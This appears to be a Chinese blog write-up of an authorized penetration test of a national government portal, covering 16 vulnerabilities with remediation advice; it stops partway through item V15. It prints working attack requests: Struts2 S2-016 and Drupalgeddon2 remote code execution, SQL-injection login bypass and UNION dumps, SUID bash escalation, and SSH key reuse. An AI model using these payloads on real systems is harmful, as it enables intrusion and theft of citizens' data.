【实战】对某一国gov主站的授权渗透测试
原创
佚名
佚名
星宇Sec
2026年10月28日 19:20
山东
去阅读
封面:某国gov主站授权安全评估
受相关方邀请,对某一国gov主站及其关联业务系统开展授权安全评估,以验证政府门户、业务系统和内网边界在真实攻击条件下的防护能力。评估以非破坏性验证为原则,对生产数据仅做证明危害所需的最小必要读取,未执行删除、破坏性写入或影响业务连续性的操作。
本次共确认16项具有实际控制或明确数据影响的漏洞与风险,其中严重6项、高危8项、中危2项。风险由老旧组件、SUID配置错误、系统口令与SSH私钥跨主机复用、Web目录备份泄露、SQL注入和可预测默认口令共同形成。
攻击链最终导致www.gov.xxx真实后端取得root权限、ERL应用主机取得root权限、前置代理取得命令执行权限,并可读写承载主站及OAuth数据的关键MySQL实例;投诉管理系统和承包商管理系统也分别被后台接管。
本文对评估过程、漏洞证据、业务影响和修复建议进行统一复盘。所有域名、网络地址、人员信息、账号、口令、哈希与业务标识均已脱敏,技术内容仅用于授权安全评估、防御建设和风险治理。
一、评估范围
1.1%20资产范围
| 域名或入口 | 角色 | 网络位置 | 关键技术栈 |
|---|---|---|---|
| www.gov.xxx | 主站公网入口 | F5%20BIG-IP%20VIP | F5%20ASM/APM、Apache反代 |
| www.gov.xxx | 主站前置代理 | 192.168.xxx.10 | Ubuntu%2020.04、Apache%202.4.41、OpenSSH%208.2p1 |
| www.gov.xxx | 真实Laravel后端 | 192.168.xxx.20 | Ubuntu%2020.04、Laravel%208.83.27、PHP%208.2.35 |
| www.gov.xxx/services/erl/ | ERL电子业务平台 | 192.168.xxx.80 | Tomcat%206.0.35、Struts%202.1.2 |
| data.gov.xxx | 开放数据门户 | 192.168.xxx.40 | Drupal%207、DKAN%201.12.11、Apache%202.4.53、PHP |
| c\\\\\\\\.s\\\\.gov.xxx | 投诉管理系统 | 198.x.x.x1 | nginx%201.18.0、PHP、MySQL%208.0.46 |
| m\\\\.e\\\\\\.n\*.gov.xxx | 承包商管理系统 | 198.x.x.x2 | cPanel/LiteSpeed、PHP、MariaDB%2010.11.19 |
1.2%20评估结果概述
本次评估共确认16项具有实际控制或明确数据影响的漏洞与风险,其中严重6项、高危8项、中危2项。主要结果集中在未认证远程代码执行、主机提权、凭据复用、内网横向移动和业务后台接管。
- ERL业务平台存在Struts2未认证RCE,随后利用SUID-root程序取得应用主机root权限。
- 开放数据门户存在Drupalgeddon2未认证RCE,可作为进入内网的独立跳板。
- 系统口令与SSH私钥跨主机复用,使前置代理获得命令执行权限,并使主站真实后端取得root权限。
- 主站数据库账号可跨库读写,影响主站、OAuth及其他站点数据。
- 投诉管理系统后台被接管,可读取用户与投诉数据;承包商管理系统同样被接管,并存在任意可写目录文件写入。
1.3%20漏洞清单
| 编号 | 站点 | 漏洞名称 | 等级 | CVSS3.1 | 利用状态 |
|---|---|---|---|---|---|
| V01 | www.gov.xxx | ERL应用Struts2%20S2-016远程代码执行 | 严重 | 9.8 | 已实际利用 |
| V02 | www.gov.xxx | ERL主机SUID-root%20bash本地提权 | 严重 | 7.8 | 已实际利用 |
| V03 | www.gov.xxx | 支付网关与密钥库明文凭据泄露 | 高危 | 8.1 | 已实际读取 |
| V04 | www.gov.xxx | SSH私钥跨主机复用导致前置代理命令执行 | 高危 | 8.8 | 已实际利用 |
| V05 | www.gov.xxx | 系统口令复用导致主站后端root | 严重 | 9.1 | 已实际利用 |
| V06 | www.gov.xxx | 主站数据库弱口令与多库读写 | 高危 | 8.1 | 已实际利用 |
| V07 | data.gov.xxx | Drupalgeddon2未认证远程代码执行 | 严重 | 9.8 | 已实际利用 |
| V08 | c\\\\\\\\.s\\\\.gov.xxx | 后台登录SQL注入导致认证绕过 | 严重 | 9.8 | 已实际利用 |
| V09 | c\\\\\\\\.s\\\\.gov.xxx | complaint-details.php参数SQL注入 | 高危 | 8.6 | 已实际利用 |
| V10 | c\\\\\\\\.s\\\\.gov.xxx | user-search.php参数SQL注入 | 高危 | 8.6 | 已实际利用 |
| V11 | c\\\\\\\\.s\\\\.gov.xxx | 未授权密码重置 | 中危 | 6.5 | 已实际利用 |
| V12 | c\\\\\\\\.s\\\\.gov.xxx | 数据库导出文件未授权下载 | 高危 | 8.2 | 已实际利用 |
| V13 | m\\\\.e\\\\\\.n\*.gov.xxx | 源码备份泄露与数据库凭据暴露 | 高危 | 8.2 | 已实际下载并解析 |
| V14 | m\\\\.e\\\\\\.n\*.gov.xxx | project-invoice参数SQL注入 | 严重 | 8.8 | 已实际利用 |
| V15 | m\\\\.e\\\\\\.n\*.gov.xxx | 承包商默认口令等于注册号 | 高危 | 8.1 | 已实际利用 |
| V16 | m\\\\.e\\\\\\.n\*.gov.xxx | news\_img路径穿越任意文件写入 | 中危 | 5.4 | 已实际利用 |
二、攻击面与总体攻击链
脱敏后的公网攻击面与内网资产拓扑
图1:公网攻击面与内网资产拓扑
2.1%20入口与路由
公开资产主要经由F5%20BIG-IP进入。主域名承载Laravel主站,data.gov.xxx指向开放数据门户,投诉管理、承包商管理和ERL业务平台分别由独立应用或路径暴露。边界入口、反向代理与内部应用虽然分层部署,但权限和信任关系并未完全隔离。
2.2%20核心资产关系
| 资产 | 地址 | 角色 | 主要风险 |
|---|---|---|---|
| 前置代理 | 192.168.xxx.10 | Apache反向代理 | 共享私钥可登录,账号属于sudo组 |
| 主站后端 | 192.168.xxx.20 | Laravel生产服务器 | 系统口令复用,可取得root |
| ERL主机 | 192.168.xxx.80 | Tomcat与Struts2 | 未认证RCE,SUID-root提权 |
| 主站数据库 | 192.168.xxx.30 | 多站点共用MySQL | 弱口令,可跨库读写 |
| 开放数据主机 | 192.168.xxx.40 | Drupal门户 | 未认证RCE,可作内网跳板 |
| 数据平台库 | 192.168.xxx.50 | 开放数据MySQL | 与开放数据业务关联 |
| 内部数据库 | 192.168.xxx.60 | MySQL | 共享SSH私钥可登录 |
| 内部同步主机 | 192.168.xxx.70 | 数据同步 | 共享SSH私钥可登录 |
2.3%20两条攻击路径
第一条路径以ERL应用为入口:
公网ERL入口
→Struts2%20S2-016未认证RCE
→tomcat低权限命令执行
→SUID-root%20bash提权
→读取支付配置、系统哈希、JKS与SSH私钥
→登录前置代理和内部主机
→主站后端root
→主站与OAuth数据库读写
第二条路径以开放数据门户为入口:
data.gov.xxx%20Drupalgeddon2
→www-data命令执行
→访问192.168.xxx.0/24
→前置代理、主站后端与数据库
→与第一条路径汇合
两条路径最终汇聚到同一组核心资产:192.168.xxx.10前置代理、192.168.xxx.20主站后端和192.168.xxx.30主站数据库。这说明风险治理不能只修复单一入口,必须同时处理边界路由、身份凭据、主机配置和应用漏洞。
脱敏后的双入口攻击链汇合路径
图2:双入口攻击链汇合路径
三、www.gov.xxx漏洞详情
3.1%20V01:ERL应用Struts2%20S2-016远程代码执行
| 项目 | 内容 |
|---|---|
| 受影响URL | https://www.gov.xxx/services/erl/es/erl/view/index.action |
| 受影响主机 | 192.168.xxx.80 |
| 组件 | Apache%20Tomcat%206.0.35、Struts%202.1.2 |
| 漏洞类型 | OGNL注入与远程代码执行 |
| 等级与CVSS | 严重,9.8 |
| 利用条件 | 未认证 |
| 利用状态 | 已执行命令,取得tomcat权限 |
ERL应用通过主站/services/erl/路径直接暴露。Struts%202.1.2的DefaultActionMapper在处理以redirect:或action:开头的参数名时,会将参数值交给OGNL求值。由于表达式执行范围未受限制,可调用Java运行时API,通过ProcessBuilder启动系统进程。
先发送以下请求验证表达式求值:
curl%20-sk%20-D%20- 'https://www.gov.xxx/services/erl/es/erl/view/index.action?redirect:%24%7B1%2B1%7D'
响应为302,Location字段包含:
http://192.168.xxx.80:8080/erl/view/2
这一结果同时证明OGNL表达式被执行,并泄露ERL内部回源地址。随后通过ProcessBuilder执行id,返回:
uid=1002(tomcat)%20gid=1002(tomcat)%20groups=1002(tomcat)
完整URL过长,下面将端点、参数名和参数值拆开表示;实际参数值是一段URL编码后的OGNL表达式,其中通过ProcessBuilder启动系统进程。
endpoint='https://www.gov.xxx/services/erl/es/erl/view/index.action'
parameter='redirect'
value='<URL编码后的OGNL表达式>'
curl%20-sk \"${endpoint}?${parameter}:${value}\"
该表达式执行id时返回tomcat用户身份,说明攻击者已从请求解析阶段进入操作系统命令执行阶段。将命令替换为whoami、hostname或文件读取命令,即可进一步确认主机边界与可访问资源。
该漏洞无需登录、CSRF令牌或初始凭据。虽然命令执行权限为tomcat,但主机上存在SUID-root文件,且可读取支付配置、源码、密钥库和部署用户目录,因此可迅速升级为主机完全失陷。
修复时应升级Struts2至受支持安全版本;短期内若无法升级,应禁用DynamicMethodInvocation,拦截redirect:、action:、${和%24%7B等参数特征,并在F5/WAF增加S2-016规则。ERL应用不应直接暴露在主站路径下,Tomcat运行用户也不应读取支付配置、密钥库和部署用户源码。
3.2%20V02:SUID-root%20bash本地提权
| 项目 | 内容 |
|---|---|
| 受影响主机 | 192.168.xxx.80 |
| 受影响文件 | /usr/bin/bash2 |
| 漏洞类型 | SUID配置错误 |
| 等级与CVSS | 严重,7.8 |
| 利用条件 | 取得任意本地低权限命令执行 |
| 利用状态 | 已取得euid=0(root) |
主机上存在SUID-root文件/usr/bin/bash2,权限为-rwsr-xr-x,属主和属组均为root。文件与/bin/bash的MD5一致:
MD5(/usr/bin/bash2)=[哈希已脱敏]
MD5(/bin/bash)=[哈希已脱敏]
Linux的SUID位使程序以文件属主权限运行。bash在使用-p参数时不会主动降低特权,因此任意本地用户可直接执行:
/usr/bin/bash2%20-p%20-c 'id'
返回:
uid=1002(tomcat)%20gid=1002(tomcat)%20euid=0(root)%20groups=1002(tomcat)
读取/etc/shadow后获得包括以下系统账号在内的口令哈希:
root:[哈希已脱敏]
deploy-x:[哈希已脱敏]
ops-x:[哈希已脱敏]
应执行chmod%20u-s%20/usr/bin/bash2并确认文件是否仍被业务依赖,同时审计全系统SUID/SGID文件,使用文件完整性监控监测权限变化。完成取证后应重建受影响主机,并轮换支付网关、JKS、SSH和系统账号全部凭据。
3.3%20V03:支付网关与密钥库明文凭据泄露
| 项目 | 内容 |
|---|---|
| 受影响主机 | 192.168.xxx.80 |
| 受影响组件 | ERL配置、JKS密钥库、部署用户工作区 |
| 漏洞类型 | 敏感信息明文存储 |
| 等级与CVSS | 高危,8.1 |
| 利用条件 | 已取得主机命令执行或文件读取权限 |
| 利用状态 | 已读取凭据和密钥库 |
ERL支付配置以明文保存PayGW政府支付网关凭据:
payment.gateway.clientpassword=********
payment.gateway.lgpspassword=********
e-services-configuration.properties中保存:
trust_store_password=********
部署用户/home/deploy-x的keys和newkey目录中存在以下密钥库:
paygw-key.jks
client-key.jks
erl-sign.jks
erl-trust.jks
app-cert.crt
cacerts
同时存在约49MB的ERL全量源码备份erl-source-backup.tar.gz,以及/opt/erl\_new与/opt/erl\_old\_bk目录。系统级/etc/keys权限为drwxrwxrwx,其下/etc/keys/0001包含app-test.crt、ts.jks、erl-test.jks等测试证书,任意本地用户均可读取或替换。
部署与运维用户的bash历史还包含大量keytool命令:
keytool%20-genkey%20-alias%20service.erl.gov.xxx%20-keyalg%20RSA%20-keysize%202048%20-keypass%20********%20-storepass%20********%20-keystore%20paygw-key.jks
上述信息可冒充ERL应用调用支付接口、打开或替换JKS签名密钥、伪造业务报文,并通过源码备份获知更多接口与内网地址。应立即轮换支付网关客户端口令、JKS口令和相关系统账号口令,迁移至HSM或密钥管理服务,并对JKS实施访问控制与操作审计。Web运行用户不得读取密钥库,源码备份应移出生产主机。
3.4%20V04:SSH私钥跨主机复用导致前置代理命令执行
| 项目 | 内容 |
|---|---|
| 受影响主机 | 192.168.xxx.10、192.168.xxx.60、192.168.xxx.70 |
| 凭据来源 | 192.168.xxx.80 |
| 受影响账号 | ops-x、deploy-x |
| 漏洞类型 | SSH私钥跨主机与跨账号复用 |
| 等级与CVSS | 高危,8.8 |
| 利用条件 | 已取得ERL主机root或私钥读取权限 |
| 利用状态 | 已登录三台目标主机 |
ERL主机部署用户deploy-x与运维用户ops-x使用同一把3072位RSA私钥,文件为:
/home/deploy-x/.ssh/id_rsa
/home/ops-x/.ssh/id_rsa
两个文件内容一致,MD5为:
[哈希已脱敏]
该私钥被授权到以下目标:
ssh%20-i%20/home/deploy-x/id_rsa%20-o%20BatchMode=yes%20-o%20StrictHostKeyChecking=no%[email protected]
ssh%20-i%20/home/deploy-x/id_rsa%20-o%20BatchMode=yes%20-o%20StrictHostKeyChecking=no%[email protected]
ssh%20-i%20/home/deploy-x/id_rsa%20-o%20BatchMode=yes%20-o%20StrictHostKeyChecking=no%[email protected]
登录192.168.xxx.10后确认:
uid=1001(ops-x)%20gid=1003(ops-x)%20groups=1003(ops-x),27(sudo)
hostname:%20proxy-host
前置代理Apache配置将gov.xxx与www.gov.xxx流量转发到https://192.168.xxx.20/,将/elaws/wordpress转发到192.168.xxx.90,将/staging转发到192.168.xxx.100,并将ERL转发到内部地址。控制该主机后可修改路由、植入代理规则、监听或篡改经过的流量。
应立即吊销共享私钥并重新为每台主机和每个账号签发独立密钥,清理192.168.xxx.80、192.168.xxx.10、192.168.xxx.60和192.168.xxx.70上的authorized\_keys条目。SSH应改用CA签发的短期证书、堡垒机或MFA,禁止运维账号直接暴露在生产主机。
3.5%20V05:系统口令复用导致主站后端root
| 项目 | 内容 |
|---|---|
| 受影响主机 | 192.168.xxx.20、192.168.xxx.40 |
| 受影响账号 | deploy-x |
| 漏洞类型 | 系统口令复用与权限提升 |
| 等级与CVSS | 严重,9.1 |
| 利用条件 | 已取得ERL配置读取或root权限 |
| 利用状态 | 已取得主站后端root |
ERL配置和命令历史中的口令\\\\\\\\同时是deploy-x系统账号口令。通过/etc/shadow中的SHA-512哈希可进一步确认两者一致。使用该口令成功SSH登录192.168.xxx.20,账号属于sudo组:
ssh%[email protected]
echo '********' |%20sudo%20-S%20-p '' bash%20-c 'id;%20hostname;%20hostname%20-I'
返回:
uid=0(root)%20gid=0(root)%20groups=0(root)
app-host-a
192.168.xxx.20
同一口令还可登录开放数据主机192.168.xxx.40的deploy-x账号。主站后端上可读写以下生产与应用目录:
/var/www/html/main_app
/var/www/html/main_app_staging
/var/www/html/admin_app
/var/www/html/main_app_old
可读取的主站配置与备份包括:
/var/www/html/main_app/.env
/home/deploy-x/main_db_dump.sql
/home/deploy-x/main_src.zip
/root/.mysql_history
/root/.bash_history
生产.env中的关键配置为:
APP_ENV=production
APP_KEY=base64:********
DB_HOST=192.168.xxx.30
DB_PORT=3306
DB_DATABASE=main_db
DB_USERNAME=db-x
DB_PASSWORD=********
主站库导出文件main\_db\_dump.sql约373KB,源码压缩包main\_src.zip约34MB。root权限意味着生产代码、管理后台、staging环境、旧版本代码、APP\_KEY和数据库凭据均可被读取或篡改,可植入webshell、修改业务逻辑、删除数据或建立持久化。
应修改deploy-x及所有复用该口令的账号,禁止系统账号与业务配置共用口令,拆分运维账号并按最小权限授予sudo。APP\_KEY、数据库凭据、支付网关口令和JKS口令均需轮换,并对受影响主机执行文件完整性、webshell、crontab和systemd持久化排查。
3.6%20V06:主站数据库弱口令与多库读写
| 项目 | 内容 |
|---|---|
| 数据库 | 192.168.xxx.30:3306,MySQL%205.5.56-log |
| 入口主机 | 192.168.xxx.20 |
| 受影响账号 | db-x |
| 漏洞类型 | 数据库弱口令与跨库权限失控 |
| 等级与CVSS | 高危,8.1 |
| 利用条件 | 取得主站后端文件读取或内网访问权限 |
| 利用状态 | 已读写多库 |
主站.env中明文保存数据库凭据db-x/\\\\\\\\。使用该凭据连接数据库:
mysql%20-h%20192.168.xxx.30%20-u%20db-x%20-p********%20-e \"select%20version();%20show%20databases;\"
确认数据库版本与可见库:
5.5.56-log
information_schema
web_logs
wrapper_db
main_db
info_db
mysql
oauth_db
performance_schema
phpbb
test
wordpress
db-x账号不仅可访问main\_db主站库,还可访问oauth\_db认证与令牌库、wordpress、phpbb、wrapper\_db等站点库,以及web\_logs日志库。该权限可用于批量导出公民数据、篡改网站内容、读取OAuth客户端和授权数据,并分析管理员来源地址与业务接口。
MySQL版本5.5.56已停止维护,数据库也没有按应用实施库级隔离。应修改db-x账号口令,按应用和库拆分账号,只授予业务所需的SELECT、INSERT、UPDATE权限,禁止DROP、FILE、PROCESS等高危权限,并限制数据库监听地址与来源网段。OAuth库还需单独加密、审计并轮换客户端密钥与令牌签名密钥。
四、data.gov.xxx漏洞详情
4.1%20V07:Drupalgeddon2未认证远程代码执行
| 项目 | 内容 |
|---|---|
| 受影响URL | https://data.gov.xxx/member/password |
| 受影响主机 | 192.168.xxx.40 |
| 组件 | Drupal%207低于7.58、DKAN%201.12.11、Apache%202.4.53、PHP |
| 漏洞类型 | 未认证远程代码执行 |
| 等级与CVSS | 严重,9.8 |
| 利用条件 | 未认证 |
| 利用状态 | 已取得www-data命令执行 |
data.gov.xxx运行未修补的Drupal%207核心,采用DKAN%201.12.11分发。Drupal%207表单API对用户可控的#post\_render与#markup属性过滤不足。攻击者可在user\_pass表单中注入数组键,使Drupal渲染表单时调用passthru等PHP函数并执行系统命令。
利用时先请求/member/password获取form\_build\_id:
curl%20-sk%20-c%20cookies.txt 'https://data.gov.xxx/member/password' -o%20step1.html
本次实测的form\_build\_id为:
form-KLLsnuujTYFmqgOguBmCgS_3vh55rx0DxIz-OMNDgp8
提交带#post\_render的请求:
POST%20/member/password?name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=id%20HTTP/1.1
Host:%20data.gov.xxx
Content-Type:%20application/x-www-form-urlencoded
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&form_build_id=form-KLLsnuujTYFmqgOguBmCgS_3vh55rx0DxIz-OMNDgp8
随后通过form\_build\_id触发渲染:
POST%20/file/ajax/name/%23value/form-KLLsnuujTYFmqgOguBmCgS_3vh55rx0DxIz-OMNDgp8%20HTTP/1.1
Host:%20data.gov.xxx
Content-Type:%20application/x-www-form-urlencoded
form_build_id=form-KLLsnuujTYFmqgOguBmCgS_3vh55rx0DxIz-OMNDgp8
响应返回:
uid=33(www-data)%20gid=33(www-data)%20groups=33(www-data)
whoami返回www-data。F5%20ASM未拦截该路径。该主机可访问192.168.xxx.0/24,包括192.168.xxx.10:80、192.168.xxx.20:22和192.168.xxx.30:3306,因此成为进入内网的关键跳板。主机上还保存Drupal配置、旧站备份、SMTP凭据、Drupal密钥与数据库账号。
应立即升级Drupal至7.58以上或迁移到受支持版本,应用SA-CORE-2018-002补丁,在WAF拦截#post\_render、#markup和/file/ajax/name/%23value/等特征。运行用户应实施最小权限,禁止读取敏感配置与访问不必要内网服务,并轮换Drupal数据库账号、SMTP凭据、Drupal密钥和相关系统口令。
完成主机取证前应按已失陷节点处理。
五、c\\\\\\\\.s\\\\.gov.xxx漏洞详情
5.1%20V08:后台登录SQL注入导致认证绕过
| 项目 | 内容 |
|---|---|
| 受影响URL | https://c\\\\\\\\.s\\\\.gov.xxx/admin/index.php |
| 受影响参数 | username |
| 环境 | nginx%201.18.0、PHP、MySQL%208.0.46 |
| 漏洞类型 | SQL注入与认证绕过 |
| 等级与CVSS | 严重,9.8 |
| 利用条件 | 未认证 |
| 利用状态 | 已取得管理员会话 |
后台登录接口未对username参数使用参数化查询。提交以下请求:
curl%20-sk%20-i%20-c%20cookies.txt%20-X%20POST 'https://c********.s****.gov.xxx/admin/index.php' \\
%20--data-urlencode \"username='%20OR%201=1%20--%20-\" \\
%20--data-urlencode 'password=x' \\
%20--data-urlencode 'submit=1'
应用返回:
HTTP/1.1%20302%20Found
Location:%20dashboard.php
Set-Cookie:%20PHPSESSID=********
username中的单引号闭合字符串,OR%201=1使条件恒真,--%20-注释后续口令校验。使用返回的PHPSESSID访问后台:
GET%20/admin/dashboard.php%20HTTP/1.1
Host:%20c********.s****.gov.xxx
Cookie:%20PHPSESSID=********
响应200,页面标题为CMS%20Admin%20Panel,显示管理员A,邮箱[email protected]。all-complaint.php返回约160KB内容,包含约170条投诉记录;admin-profile.php泄露管理员用户名、电话与邮箱。
该漏洞使未认证攻击者直接取得后台管理能力,可读取公民姓名、联系方式与投诉内容,并为同系统的cid注入、search注入、密码重置与数据库导出问题提供会话入口。应使用参数化查询或ORM绑定,统一登录失败提示,为后台增加MFA、限速、验证码和异常告警,轮换全部管理员口令并使现有会话失效。
5.2%20V09:complaint-details.php参数SQL注入
| 项目 | 内容 |
|---|---|
| 受影响URL | https://c\\\\\\\\.s\\\\.gov.xxx/admin/complaint-details.php?cid=1 |
| 受影响参数 | cid |
| 数据库 | MySQL%208.0.46,账号db-user-x@localhost |
| 漏洞类型 | SQL注入 |
| 等级与CVSS | 高危,8.6 |
| 利用条件 | 需后台会话 |
| 利用状态 | 已读取全库17张表 |
cid参数直接拼接到投诉详情查询。布尔测试中,cid=1%20AND%201=1返回正常详情,cid=1%20AND%201=2返回空记录;时间测试中,cid=1%20AND%20SLEEP(5)产生约5秒延迟;UNION测试确认查询共24列。
数据库指纹与权限信息为:
VERSION():8.0.46
USER():db-user-x@localhost
@@secure_file_priv:/var/lib/mysql-files
数据规模如下:
users:约2500
complaints:约170
admin:4
tables:17
24列UNION请求示例:
curl%20-sk%20-b%20cookies.txt%20--get%20\\
'https://c********.s****.gov.xxx/admin/complaint-details.php' \\
%20--data-urlencode 'cid=-1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--%20-'
使用--get与--data-urlencode可避免手动拼接URL编码,也能更清楚地分辨目标端点与注入参数。24个占位值用于探测列数并定位页面回显位。
回显位可替换为username、password、name、phone和email等字段。当前账号为db-user-x@localhost,库内包含4个管理员账号与口令哈希、约2500条用户记录与约170条投诉记录。账号无FILE权限,且secure\_file\_priv限制为/var/lib/mysql-files,因此未取得文件写入或数据库主机命令执行。
虽然命令执行未成功,但可读取全部用户PII、投诉内容、管理员账号和数据库结构,风险仍属高危。cid应使用参数化查询并实施整数类型校验,数据库应用账号只授予所需表的最小权限,同时关闭详细数据库错误回显,并对UNION、SLEEP和information\_schema访问实施检测。
5.3%20V10:user-search.php参数SQL注入
| 项目 | 内容 |
|---|---|
| 受影响URL | https://c\\\\\\\\.s\\\\.gov.xxx/admin/user-search.php |
| 受影响参数 | search |
| 数据库 | MySQL%208.0.46 |
| 漏洞类型 | SQL注入 |
| 等级与CVSS | 高危,8.6 |
| 利用条件 | 需后台会话 |
| 利用状态 | 已批量读取约2500条用户记录 |
搜索参数被直接拼接进LIKE查询。正常搜索不存在的zzzzzz时返回空结果;提交:
search=zzzzzz'%20OR%201=1%20--%20-
接口返回约2500条用户记录,响应体约2.72MB。提交:
search=zzzzzz'%20AND%201=2%20--%20-
返回空结果,确认注入成立。请求可使用后台会话直接完成:
curl%20-sk%20-b%20cookies.txt%20-X%20POST 'https://c********.s****.gov.xxx/admin/user-search.php' \\
%20--data-urlencode \"search=zzzzzz'%20OR%201=1%20--%20-\" \\
%20-o%20users_dump.html
该注入点无需逐条盲注,一次响应即可导出姓名、手机号、邮箱等全部用户信息。应使用参数化查询,限制搜索关键词长度与通配符,加入分页和结果数量上限,对后台接口实施权限校验、频率限制与异常查询告警。
5.4%20V11:未授权密码重置
| 项目 | 内容 |
|---|---|
| 受影响URL | https://c\\\\\\\\.s\\\\.gov.xxx/user/reset-password.php |
| 受影响参数 | email、mobileno、newpassword、confirmpassword、resetpwd |
| 漏洞类型 | 身份校验缺陷 |
| 等级与CVSS | 中危,6.5 |
| 利用条件 | 知道目标邮箱与登记手机号 |
| 利用状态 | 已修改测试账号口令 |
重置接口只比对邮箱和手机号是否与数据库记录匹配,不验证请求者是否控制邮箱或手机,不发送OTP,不要求原口令或一次性重置令牌。匹配后直接更新口令哈希。
使用的测试账号为[email protected](id=xxx),登记手机号138\\\\0000。请求:
curl%20-sk%20-i%20-X%20POST 'https://c********.s****.gov.xxx/user/reset-password.php' \\
%20--data-urlencode '[email protected]' \\
%20--data-urlencode 'mobileno=1' \\
%20--data-urlencode 'newpassword=********' \\
%20--data-urlencode 'confirmpassword=********' \\
%20--data-urlencode 'resetpwd=1'
响应包含:
<script>alert('Your%20Password%20succesfully%20changed');</script>
<script>document.location='index.php'</script>
重置前哈希为:
[哈希已脱敏]
重置后哈希为:
[哈希已脱敏]
后者等于md5('\\\\\\\\')。使用错误手机号139\\\\0000时哈希不变,说明接口确实检查手机号,但手机号可通过后台SQL注入批量读取,不构成身份验证。登录流程仍要求OTP,因此未取得该账号会话,但原用户口令已被篡改,构成账号拒绝服务及潜在接管条件。
应使用一次性、有时效、不可预测的重置令牌,并验证邮箱或手机所有权;禁止仅凭邮箱与手机号修改口令;重置成功后使全部旧会话失效并通知用户;接口需增加频率限制、验证码和失败次数控制。
5.5%20V12:数据库导出文件未授权下载
| 项目 | 内容 |
|---|---|
| 受影响URL | https://c\\\\\\\\.s\\\\.gov.xxx/db/db.sql |
| 文件大小 | 约7.3KB |
| 漏洞类型 | 敏感文件未授权访问 |
| 等级与CVSS | 高危,8.2 |
| 利用条件 | 未认证 |
| 利用状态 | 已下载并解析 |
Web根目录下的/db/db.sql可直接下载。文件包含完整表结构、管理员账号MD5哈希、业务人员明文口令与用户表字段。管理员哈希为:
[哈希已脱敏]
对应明文:
[弱口令已脱敏]
subjectofficer表中的4组业务人员口令为:
staff-a/********
staff-b/********
staff-c/********
staff-d/********
users表还包含邮箱和手机号等PII。攻击者可结合登录SQL注入、cid与search注入、密码重置问题,完全掌握投诉系统数据与管理权限。
应立即删除Web根目录中的db.sql及同类导出、备份和源码压缩包,在Web服务器层禁止访问/db/、\.sql、\.bak、\.zip和\.tar.gz,并对数据库导出实施加密存储和访问审计。全部管理员及业务人员口令必须重置,后台应启用MFA、限速和异常告警。
六、m\\\\.e\\\\\\.n\*.gov.xxx漏洞详情
6.1%20V13:源码备份泄露与数据库凭据暴露
| 项目 | 内容 |
|---|---|
| 受影响URL | /contractx.zip、/contractx\_dil.zip、/contractx\_new.zip |
| 受影响主机 | 198.x.x.x2 |
| 环境 | cPanel/LiteSpeed、PHP、MariaDB%2010.11.19-cll-lve |
| 漏洞类型 | 源码与凭据泄露 |
| 等级与CVSS | 高危,8.2 |
| 利用条件 | 未认证 |
| 利用状态 | 已下载并解析 |
Web根目录存在三份完整contractx源码备份,合计约21MB、1465个以上文件。解压后的backend/db/db.php明文保存:
$servername=\"localhost\";
$username=\"db-user-x\";
$password=\"********\";
$dbname=\"contractx_db\";
/contractx/backend/db/与/contractx/backend/upload/等目录开启Index%20of列表,可直接浏览文件名、大小与修改时间。
使用泄露凭据连接同主机3306与cPanel/FTP均失败,说明远程数据库或服务存在来源限制或口令不同。暴露事实仍已成立,且源码完整展示了project-invoice注入逻辑、news\_img上传路径和registered-contractors公开列表,为同站其他攻击提供直接依据。
应立即删除三份备份及同类文件,在Web服务器层禁止访问\.zip、\.tar.gz、\.sql、\.bak和\*.old,关闭敏感目录列表,轮换数据库账号db-user-x的口令,并检查是否在其他系统复用。数据库凭据应迁移至环境变量或密钥管理服务。
6.2%20V14:project-invoice参数SQL注入
| 项目 | 内容 |
|---|---|
| 受影响URL | /contractx/user\_acc/contractor/project-invoice |
| 受影响参数 | prj、inv |
| 数据库 | MariaDB%2010.11.19-cll-lve,库contractx\_db |
| 漏洞类型 | SQL注入 |
| 等级与CVSS | 严重,8.8 |
| 利用条件 | 任意承包商账号即可,默认口令可低成本获得 |
| 利用状态 | 已读取47张表与24个管理员账号哈希 |
project-invoice共38列,第5列回显date,第10列回显payment\_type。prj参数中的单个反斜杠可转义模板闭合引号,inv参数未参数化,htmlspecialchars只处理引号,不处理反斜杠与十六进制字符串。
使用公开注册号C-xxxxx登录承包商门户:
curl%20-sk%20-i%20-c%20cookies.txt%20-X%20POST 'https://m****.e******.n*.gov.xxx/contractx/functions/login_validate.php' \\
%20--data-urlencode 'user=C-xxxxx' \\
%20--data-urlencode 'password=********'
返回:
{\"status\":\"ok\",\"acc_type\":\"contr\"}
布尔验证请求:
curl%20-sk%20-b%20cookies.txt 'https://m****.e******.n*.gov.xxx/contractx/user_acc/contractor/project-invoice?prj=%5C&inv=%20OR%201%3D1%20--%20-'
prj=\\且inv=%20OR%201=1%20--%20-时响应约15891字节,显示Invoice%20No与Payment%20Method;inv=%20AND%201=2%20--%20-时响应约13309字节,发票区为空。ORDER%20BY%201至38正常,ORDER%20BY%2039失败,确认查询共38列。
UNION读取管理员子查询如下:
(SELECT CONCAT_WS(0x3a,id,user,pass,emp_id,access,group_id) FROM user_acc_tbl ORDER BY id LIMIT 0,1)
第10列返回:
1:admin:[哈希已脱敏]:1:1:1
user\_acc\_tbl共24个后台管理员账号,已确认以下哈希与口令:
[哈希已脱敏]=sha256('********')
[哈希已脱敏]=sha256('********')
[哈希已脱敏]=sha256('********')
[哈希已脱敏]=sha256('********')
对应账号均使用可预测或弱口令,说明后台认证没有形成有效的口令强度门槛。
通过information\_schema.tables枚举确认全库47张表。业务表主要覆盖contractor\_reg、user\_acc\_tbl、staff\_members与project\_invoice等承包商账号、员工、项目和发票数据。
projects\_reg、requisition、travel\_expenses、bidding\_docs与evaluation\_reports等表还涉及项目登记、采购申请、差旅费用、投标文件和评标资料。
应参数化prj与inv,prj使用整数或严格白名单校验,数据库账号实施最小权限,关闭详细SQL错误,轮换全部管理员与数据库口令,并针对UNION、information\_schema和反斜杠逃逸增加检测。
6.3%20V15:承包商默认口令等于注册号
| 项目 | 内容 |
|---|---|
| 受影响URL | /contractx/functions/login\_validate.php |
| 受影响账号 | 全部承包商账号 |
| 漏洞类型 | 默认口令与认证缺陷 |
| 等级与CVSS | 高危,8.1 |
| 利用条件 | 未认证,只需公开注册号 |
| 利用状态 | 已登录承包商门户 |
系统创建承包商账号时使用:
$pwd=hash('sha256',$RegID_no);
作为初始口令。登录接口对用户输入的口令计算SHA-256后与数据库中的pass字段比较,因此输入注册号本身即可通过校验。
